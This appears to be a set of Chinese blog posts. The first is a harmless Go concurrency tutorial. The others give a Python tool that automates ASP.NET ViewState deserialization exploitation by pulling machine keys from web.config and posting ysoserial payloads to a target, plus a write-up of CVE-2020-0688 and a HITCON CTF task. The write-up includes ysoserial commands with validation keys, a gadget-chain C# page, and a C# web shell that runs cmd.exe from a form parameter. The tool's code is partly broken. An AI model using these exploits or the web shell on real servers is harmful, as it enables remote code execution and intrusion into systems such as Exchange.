go并发编程 2024-05-07 默认分类 暂无评论 ## go并发编程 ### 前言 最近在学习go的后端开发,学到了并发编程这里感觉需要总结一下知识点。 ### 知识铺垫 ``` A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。 B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。 C.一个进程可以创建和撤销多个线程;同一个进程中的多个线程之间可以并发执行。 ``` 并发与并行 ``` A. 多线程程序在一个核的cpu上运行,就是并发。 B. 多线程程序在多个核的cpu上运行,就是并行。 ``` 协程和线程 ``` 协程:独立的栈空间,共享堆空间,调度由用户自己控制,本质上有点类似于用户级线程,这些用户级线程的调度也是自己实现的。 线程:一个线程上可以跑多个协程,协程是轻量级的线程。 ``` ### Goroutine Go语言中的goroutine就是这样一种机制,goroutine的概念类似于线程,但 goroutine是由Go的运行时(runtime)调度和管理的。Go程序会智能地将 goroutine 中的任务合理地分配给每个CPU。 ``` package main import ( "fmt" "time" ) func hello() { fmt.Println("Hello Goroutine!") } func main() { hello() fmt.Println("main goroutine done!") time.Sleep(time.Second) } ``` 启动单个线程需要开辟一段Time让hello()这个进程进行创建。 ### 启动多个goroutine ```go package main import ( "fmt" "sync" ) var wg sync.WaitGroup func hello(i int) { defer wg.Done() // goroutine结束就登记-1 fmt.Println("Hello Goroutine!", i) } func main() { for i := 0; i < 10; i++ { wg.Add(1) // 启动一个goroutine就登记+1 go hello(i) } wg.Wait() // 等待所有登记的goroutine都结束 } ``` 这段代码中返回的数字不是按顺序的 因为线程在并发执行的过程汇总是随机的。 ### goroutine调度 GPM是Go语言运行时(runtime)层面的实现,是go语言自己实现的一套调度系统。区别于操作系统调度OS线程。 - 1.G很好理解,就是个goroutine的,里面除了存放本goroutine信息外 还有与所在P的绑定等信息。 - 2.P管理着一组goroutine队列,P里面会存储当前goroutine运行的上下文环境(函数指针,堆栈地址及地址边界),P会对自己管理的goroutine队列做一些调度(比如把占用CPU时间较长的goroutine暂停、运行后续的goroutine等等)当自己的队列消费完了就去全局队列里取,如果全局队列里也消费完了会去其他P的队列里抢任务。 - 3.M(machine)是Go运行时(runtime)对操作系统内核线程的虚拟, M与内核线程一般是一一映射的关系, 一个groutine最终是要放到M上执行的; #### 1.1.1. runtime.Gosched() 主动让出cpu时间片,重新等待安排任务。 ```go func main() { go func(s string) { for i := 0; i < 2; i++ { fmt.Println(s) } }("world") // 主协程 for i := 0; i < 2; i++ { // 切一下,再次分配任务 runtime.Gosched() fmt.Println("hello") } } ``` #### 1.1.3. runtime.GOMAXPROCS Go运行时的调度器使用GOMAXPROCS参数来确定需要使用多少个OS线程来同时执行Go代码。默认值是机器上的CPU核心数。例如在一个8核心的机器上,调度器会把Go代码同时调度到8个OS线程上、 ```go func a() { for i := 1; i < 10; i++ { fmt.Println("A:", i) } } func b() { for i := 1; i < 10; i++ { fmt.Println("B:", i) } } func main() { runtime.GOMAXPROCS(2) go a() go b() time.Sleep(time.Second) } ``` ### channel Go 语言中的通道(channel)是一种特殊的类型。通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。每一个通道都是一个具体类型的导管,也就是声明channel的时候需要为其指定元素类型。 #### 1.1.2 channel类型 channel是一种类型,一种引用类型。声明通道类型的格式如下: ``` var 变量 chan 元素类型 ``` 举几个例子: ```go var ch1 chan int // 声明一个传递整型的通道 var ch2 chan bool // 声明一个传递布尔型的通道 var ch3 chan []int // 声明一个传递int切片的通道 ``` #### 1.1.3. 创建channel 通道是引用类型,通道类型的空值是nil。 ```go var ch chan int fmt.Println(ch) // ``` 声明的通道后需要使用make函数初始化之后才能使用。 创建channel的格式如下: ``` make(chan 元素类型, [缓冲大小]) ``` channel的缓冲大小是可选的。 举几个例子: ```go ch4 := make(chan int) ch5 := make(chan bool) ch6 := make(chan []int) ``` #### 1.1.4. channel操作 通道有发送(send)、接收(receive)和关闭(close)三种操作。 发送和接收都使用<-符号。 现在我们先使用以下语句定义一个通道: ```go ch := make(chan int) ``` #### 发送 将一个值发送到通道中。 ```go ch <- 10 // 把10发送到ch中 ``` #### 接收 从一个通道中接收值。 ```go x := <- ch // 从ch中接收值并赋值给变量x <-ch // 从ch中接收值,忽略结果 ``` #### 关闭 我们通过调用内置的close函数来关闭通道。 ```go close(ch) ``` ### 无缓冲区通道 需要启用一个goroutine进行接收 ```go package main import "fmt" func recv(c chan int) { ret := <-c fmt.Println("接收成功", ret) } func main() { ch := make(chan int) go recv(ch) // 启用goroutine从通道接收值 ch <- 10 fmt.Println("发送成功") } ``` ### 有缓冲通道 ``` func main() { ch := make(chan int, 1) // 创建一个容量为1的有缓冲区通道 ch <- 10 fmt.Println("发送成功") } ``` 这时就不需要goroutine通道了,在管道中可以存入不超过其容量大小的数据。 ### 从管道中存取值 ```go package main import "fmt" func main() { ch1 := make(chan int) ch2 := make(chan int) // 开启goroutine将0~100的数发送到ch1中 go func() { for i := 0; i < 100; i++ { ch1 <- i } close(ch1) }() // 开启goroutine从ch1中接收值,并将该值的平方发送到ch2中 go func() { for { i, ok := <-ch1 // 通道关闭后再取值ok=false if !ok { break } ch2 <- i * i } close(ch2) }() // 在主goroutine中从ch2中接收值打印 for i := range ch2 { // 通道关闭后会退出for range循环 fmt.Println(i) } } ``` 这个程序可以成功的将ch1管道中的数据 存到 ch2中。 ### 单向管道 单向管道的定义可以放在函数定义里面, ```go package main import "fmt" func counter(out chan<- int) { for i := 0; i < 100; i++ { out <- i } close(out) } func squarer(out chan<- int, in <-chan int) { for i := range in { out <- i * i } close(out) } func printer(in <-chan int) { for i := range in { fmt.Println(i) } } func main() { ch1 := make(chan int) ch2 := make(chan int) go counter(ch1) go squarer(ch2, ch1) printer(ch2) } ``` ### 多路复用 select关键字可以选择多个通道进行读写进程操作,这样可以有效避免死锁问题产生。 ```go package main import ( "fmt" "time" ) func test1(ch chan string) { time.Sleep(time.Second * 2) ch <- "test1" } func test2(ch chan string) { time.Sleep(time.Second * 3) ch <- "test2" } func main() { // 2个管道 output1 := make(chan string) output2 := make(chan string) // 跑2个子协程,写数据 go test1(output1) go test2(output2) // 用select监控 select { case s1 := <-output1: fmt.Println("s1=", s1) case s2 := <-output2: fmt.Println("s2=", s2) } } ``` ### 并发安全与锁 锁的概念在操作系统中很常见,是用于控制共享资源访问的一个机制。 #### 1.1.1. 互斥锁 互斥锁是一种常用的控制共享资源访问的方法,它能够保证同时只有一个goroutine可以访问共享资源。Go语言中使用sync包的Mutex类型来实现互斥锁。 ```go var x int64 var wg sync.WaitGroup var lock sync.Mutex func add() { for i := 0; i < 5000; i++ { lock.Lock() // 加锁 x = x + 1 lock.Unlock() // 解锁 } wg.Done() } func main() { wg.Add(2) go add() go add() wg.Wait() fmt.Println(x) } ``` #### 1.1.2读写互斥锁 读写锁分为两种:读锁和写锁。当一个goroutine获取读锁之后,其他的goroutine如果是获取读锁会继续获得锁,如果是获取写锁就会等待;当一个goroutine获取写锁之后,其他的goroutine无论是获取读锁还是写锁都会等待。 ```go package main import ( "fmt" "sync" "time" ) var ( x int64 wg sync.WaitGroup lock sync.Mutex rwlock sync.RWMutex ) func write() { // lock.Lock() // 加互斥锁 rwlock.Lock() // 加写锁 x = x + 1 time.Sleep(10 * time.Millisecond) // 假设读操作耗时10毫秒 rwlock.Unlock() // 解写锁 // lock.Unlock() // 解互斥锁 wg.Done() } func read() { // lock.Lock() // 加互斥锁 rwlock.RLock() // 加读锁 time.Sleep(time.Millisecond) // 假设读操作耗时1毫秒 rwlock.RUnlock() // 解读锁 // lock.Unlock() // 解互斥锁 wg.Done() } func main() { start := time.Now() for i := 0; i < 10; i++ { wg.Add(1) go write() } for i := 0; i < 1000; i++ { wg.Add(1) go read() } wg.Wait() end := time.Now() fmt.Println(end.Sub(start)) } ```
viewstate反序列化漏洞利用工具 2024-03-13 web安全 暂无评论 ##前言 最近正在研究viewstate反序列化漏洞的相关内容,网上的相关内容比较全面,但是暂时还没发现一款可以自动化漏洞利用工具。因此决定写一个,工具还需要改进,这里只针对当下面临的任务开发 ## 环境搭建 这里主要用的是python3环境,仅仅需要安装一些依赖库。 ##payload生成阶段 这里payload生成主要是依赖asp.net中web.config信息还有ysoserial这个工具。 test.py 代码如下: ```python import xml.etree.ElementTree as ET import os from urllib.parse import urlparse def extract_keys_from_config(file_path): """ Extracts decryption, decryptionKey, validation, validationKey from the given XML configuration file. Parameters: - file_path: str, path to the XML configuration file. Returns: A dictionary with the keys 'decryption', 'decryptionKey', 'validation', 'validationKey' and their corresponding values extracted from the file. If a key is not found, its value will be None. """ extracted_fields = { 'decryption': None, 'decryptionKey': None, 'validation': None, 'validationKey': None, } try: tree = ET.parse(file_path) root = tree.getroot() # Assuming these fields might be attributes of a specific element, let's refine the search. # We need to know the exact or likely structure to target the search more precisely. # For now, let's search all elements and their attributes for our keys. for elem in root.iter(): for key in extracted_fields.keys(): if key in elem.attrib: # Checking if the key exists as an attribute extracted_fields[key] = elem.attrib[key] except ET.ParseError as e: print(f"Error parsing XML: {e}") except Exception as e: print(f"An error occurred: {e}") return extracted_fields # Example usage file_path = 'Web.config' # Using the path to the previously uploaded file for demonstration # Extract the data extracted_data = extract_keys_from_config(file_path) def uel_get(url): """ Extracts the complete path and the base directory path from a URL. Args: - url (str): The URL to extract paths from. Returns: - tuple: Contains the complete path with leading slash, and the base directory path with leading slash. """ parsed_url = urlparse(url) path = parsed_url.path # Extract the base directory path base_dir_path = '/' + path.strip('/').split('/')[0] + '/' return (path, base_dir_path) def generate_command(cmd, path,apppath, decryptionalg, decryptionkey,validationalg ,validationkey): command_template = 'ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{}" --path="{}" --apppath="{}" --decryptionalg="{}" --decryptionkey="{}" --validationalg="{}" --validationkey="{}"' return command_template.format(cmd, path, apppath, decryptionalg, decryptionkey, validationalg, validationkey) url = input("please input url: ") path,apppath = uel_get(url) cmd = input("please input cmd: ") decryptionalg = extracted_data['decryption'] decryptionkey = extracted_data['decryptionKey'] validationalg = extracted_data['validation'] validationkey = extracted_data['validationKey'] rescmd = generate_command(cmd,path,apppath,decryptionalg,decryptionkey,validationalg,validationkey) ``` 命令执行阶段 ```python import subprocess import test from urllib.parse import quote import requests from bs4 import BeautifulSoup def execute_command(command): """ Executes a given command and returns its output. Parameters: - command: str, the command to execute. Returns: The stdout and stderr of the executed command. """ try: # Execute the command result = subprocess.run(command, check=True, shell=True, stdout=subprocess.PIPE,universal_newlines=True, stderr=subprocess.PIPE) return result.stdout, result.stderr except subprocess.CalledProcessError as e: return e.stdout, e.stderr def encodeURIComponent(string): """ Simulate JavaScript's encodeURIComponent function in Python. It encodes special characters except: A-Z a-z 0-9 - _ . ! ~ * ' ( ) """ # The safe parameter is set to include characters that encodeURIComponent does not encode return quote(string, safe="-_.!~*'()") def exp(): while True: # Ask the user for a command to execute user_command = test.rescmd if user_command.lower() == 'exit': print("Exiting...") break # Execute the command stdout, stderr = execute_command(user_command) # Display the output if stdout: stdout = encodeURIComponent(stdout) return stdout break if stderr: return stderr def req(): req = requests.post(test.url) soup = BeautifulSoup(req.text, 'html.parser') viewstate_value = soup.find(id="__VIEWSTATE")['value'] if viewstate_value is None: print("__VIEWSTATE is not found") return else: stdout_value = exp() viewstate_value = stdout_value data = {'__VIEWSTATE':viewstate_value} res = requests.post(url=test.url,data=data) return res def main(): if "The state information is invalid " in req(): print("maybe success") else: print("failed") if __name__ == "__main__": main() ``` 运行cmdTest.py后输入url 和 想要执行的命令。如果成功执行会返回success。 ## 结束 代码比较简单,主要目的是为了实现工作需求,以后有空继续改进。。。
.NET ViewState 反序列化漏洞及其利用 2024-02-26 web安全 暂无评论 - 前言 最近工作中遇到了exchange邮件系统渗透的工作,其中有一个漏洞是关于通过反序列化命令执行的(CVE-2020-0688),再加上平时接触.net的项目比较少,因此记录一下。 - CVE-2020-0688 这个漏洞是exchange默认加密密钥造成的反序列化漏洞,该漏洞存在于exchange的ecp中,是一个web漏洞。 - asp.net中viewstate反序列化 什么是viewstate viewstate是基于web forms 目的是为了控件状态进行持久化操作,它有三种状态 always auto never。具体如下: ![1.png](http://150.158.121.155/usr/uploads/2024/02/2194446487.png) ViewState机制是asp.net中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中每次请求完,Page对象都会被释放,这里就有一个问题就是对同一个Page的多次请求之间的状态信息,如何进行维护呢? WebForm中每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回到客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端。这样是不是就可以对同一个Page的多次请求(PostBack)之间维持状态了?ViewState的设计目的就是为了将必要的信息持久化在页面中,这样通过ViewState在页面回传的过程中保存状态值。 这里说的PostBack是一种模式,该PostBack模式是在访问页面不是通过Server.Transfer进行重定向的,__VIEWSTATE等隐藏表单存在,这里默认直接访问页面即可满足上述条件。 这里再抛出一个小问题,就是ViewState和Cookie的区别是什么? - Cookie是存在于http请求中的,而ViewState仅仅存在于.net - Cookie不存在后端解析(只需要取值即可),而.net中的ViewState存在于后端解析(序列化和反序列化的操作) - Cookie是为了http无状态而产生的,ViewState是为了保存WebForm中服务端控件状态进行持久化而产生的 viewstate防篡改: 由于viewstate是在服务端进行反序列化操作,为了防篡改需要开启mac验证。 - 漏洞利用条件 1、禁用MAC验证功能 2、掌握以下内容: (1).NET Framework 4.5版本之前的验证密钥及其算法; (2).NET Framework 4.5或更高版本中的验证密钥、验证算法、解密密钥和解密算法。可以与任意文件读取/下载漏洞一起利用。 - 本地测试 测试环境:winserver2016+.net 4.0 在服务器根目录写入Test.aspx ```asp <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Test.aspx.cs" Inherits="TestComment" %> ``` 后端代码Test.aspx.cs ```csharp using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class TestComment : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { String cmd = "echo 123 > c:\\windows\\temp\\test.txt"; Delegate da = new Comparison(String.Compare); Comparison d = (Comparison)MulticastDelegate.Combine(da, da); IComparer comp = Comparer.Create(d); SortedSet set = new SortedSet(comp); set.Add("cmd"); set.Add("/c " + cmd); FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func(Process.Start); fi.SetValue(d, invoke_list); MemoryStream stream = new MemoryStream(); Stream stream1 = new FileStream("C:\\Windows\\Temp\\serialnet.txt", FileMode.Create, FileAccess.Write); //Serialization using LOSFormatter starts here //The serialized output is base64 encoded which cannot be directly fed to ObjectStateFormatter for deserialization hence requires base64 decoding before deserialization LosFormatter los = new LosFormatter(); los.Serialize(stream1, set); stream1.Close(); } protected void Button1_Click(object sender, EventArgs e) { string serialized_data = File.ReadAllText(@"C:\Windows\Temp\serialnet.txt"); //Base64 decode the serialized data before deserialization byte[] bytes = Convert.FromBase64String(serialized_data); //Deserialization using ObjectStateFormatter starts here ObjectStateFormatter osf = new ObjectStateFormatter(); string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString(); } } ``` 这段代码的作用是当访问Test.aspx文件后会立即在Temp文件夹下生成一个serialnet.txt文件,这个文件中包含序列化数据,其中执行以下命令 `String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;` 查看serianet.txt ![6.jpg](http://150.158.121.155/usr/uploads/2024/02/909495490.jpg) 在前端页面传入参数,提供的命令会在 TypeConfuseDelegate gadget 的帮助下执行 ![7.jpg](http://150.158.121.155/usr/uploads/2024/02/96365447.jpg) 这个模拟说明了viewstate序列化与反序列化在回退操作期间如何进行命令执行,当插入一些不安全的数据时,就可能会产生命令执行。 - 目标机器.NET framework<=4.0 如果版本小于4.5 可以在注册表寻找`AspNetEnforceViewStateMac`字段,禁用viewstate MAC ![8.jpg](http://150.158.121.155/usr/uploads/2024/02/2239995510.jpg) 准备前端代码 ```asp <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Test.aspx.cs" Inherits="Test" %> ``` 后端代码 ```csharp using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Text.RegularExpressions; using System.Text; using System.IO; public partial class hello : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { Label1.Text = TextArea1.Text.ToString(); } } ``` web.config中添加 ```xml ``` 利用ysoserial生成payload ```xml ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\Windows\temp\test.txt" > payload ``` 如下图 ![9.jpg](http://150.158.121.155/usr/uploads/2024/02/756746799.jpg) 将此段代码传入viewstate参数,可以成功写入文件。 - 目标framework≤4.0(启用了ViewState Mac) 通过修改web.config修改viewstate MAC的状态 ```xml ``` 再次传入参数 ``` ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/" --path="/Test.aspx" --islegacy --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" -isdebug ``` 依然会被触发漏洞。关于.net framework > 4.0的情况之后再补上。 - 测试环境 HITCON CTF 2018 - Why so Serials? 打开靶机题目给出了一段源码,黑名单中对文件上传的后缀名做了很多限制。 ![2.jpg](http://150.158.121.155/usr/uploads/2024/02/2495897176.jpg) 可以利用shtml绕过限制进行读取web.config的操作。新建一个test.shtml写入 上传文件后访问可以得到web.config的信息。 ![3.jpg](http://150.158.121.155/usr/uploads/2024/02/2637425368.jpg) ``` ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87" ``` 但是这种做法导致无论命令执行是否执行都会使aspx页面回显500,利用ActivitySurrogateSelectorFromFile的gadget进行,gadget利用Assembly.Load载入.net达成Remote Code Execution,建立无连接的shell后门。 构造方式如下: ``` .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\User s\Administrator\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft. NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BE F07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" ``` 生成的payload进行url解码 ![4.jpg](http://150.158.121.155/usr/uploads/2024/02/3034833357.jpg) 回显代码 ```csharp class E{ public E() { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; string cmd = context.Request.Form["cmd"]; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.Start(); string output = process.StandardOutput.ReadToEnd(); context.Response.Write(output); } catch (System.Exception) {} context.Response.Flush(); context.Response.End(); }} ``` 因此现在构造的两个参数 cmd 与 __VIEWSTATE 就可以完成RCE ![5.jpg](http://150.158.121.155/usr/uploads/2024/02/2298132115.jpg)